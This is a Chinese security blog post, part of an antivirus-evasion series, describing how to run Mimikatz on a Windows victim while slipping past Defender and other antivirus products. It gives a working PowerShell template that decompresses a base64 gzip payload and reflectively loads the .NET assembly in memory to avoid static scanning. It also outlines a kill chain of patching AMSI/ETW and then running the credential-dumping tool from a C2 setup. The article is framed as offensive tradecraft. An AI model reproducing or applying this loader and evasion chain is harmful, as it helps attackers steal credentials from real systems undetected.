长亭百川云 - 文章详情

卡巴defender火绒360免杀十种方法9: 借刀杀人

奶牛安全

58

2024-07-13

环境

  • 带有 Ubuntu Linux AMI 的 AWS EC2 作为攻击者 C2 服务器。

  • 带有 Windows Server 2019 AMI 的 AWS EC2 作为受害者机器。

  • 安装 Visual Studio 2022 社区的本地 Windows 10 计算机用于恶意软件开发和编译

  • 本地 Kali Linux 攻击机。

过程

可能还记得系列第一篇中在修补内存中的 AMSI 后执行 Mimikatz 作为 Defender 停止扫描进程内存的演示。这是因为 .NET 公布了 System.Reflection.Assembly 接口,可以使用它来反射加载和执行 .NET 程序集(定义为“表示一个程序集,它是一个可重用、可版本化且自描述的公共构建块语言运行时应用程序。”)在内存中。

这当然对于攻击目的非常有用,因为 PowerShell 使用 .NET,可以在脚本中使用它在内存中加载整个二进制文件,以绕过 Windows Defender 大放异彩的静态分析。

脚本的一般结构如下:

function Invoke-YourTool{    $a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String("yourbase64stringhere"))    $decompressed = New-Object IO.Compression.GzipStream($a,[IO.Compression.CoMPressionMode]::DEComPress)    $output = New-Object System.IO.MemoryStream    $decompressed.CopyTo( $output )    [byte[]] $byteOutArray = $output.ToArray()    $RAS = [System.Reflection.Assembly]::Load($byteOutArray)    $OldConsoleOut = [Console]::Out    $StringWriter = New-Object IO.StringWriter    [Console]::SetOut($StringWriter)    [ClassName.Program]::main([string[]]$args)    [Console]::SetOut($OldConsoleOut)    $Results = $StringWriter.ToString()    $Results  }

Gzip 仅用于尝试隐藏真正的二进制文件,因此有时它可能无需进一步的绕过方法即可工作,但最重要的一行是从 System.Reflection.Assembly .NET 类调用 Load 函数以将二进制文件加载到内存中. 之后,可以简单地用“[ClassName.Program]::main([string[]]$args)”调用它的主函数

因此,可以执行以下杀伤链来执行任何二进制文件:

  • 补丁 AMSI/ETW。

  • 反射加载并执行程序集。

对于这个 PoC,执行 Mimikatz,当然可以随意使用任何其他的。

反射加载 Mimikatz

请注意,如前所述,某些二进制文件可能不需要绕过 AMSI,具体取决于在脚本中应用的二进制文件的字符串表示形式。但由于 Invoke-Mimikatz 广为人知,需要在这个例子中这样做。

请点一下右下角的“在看”,谢谢!!

请帮忙点赞, 谢谢!!

请帮忙转发,谢谢!!

暗号: 048160

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2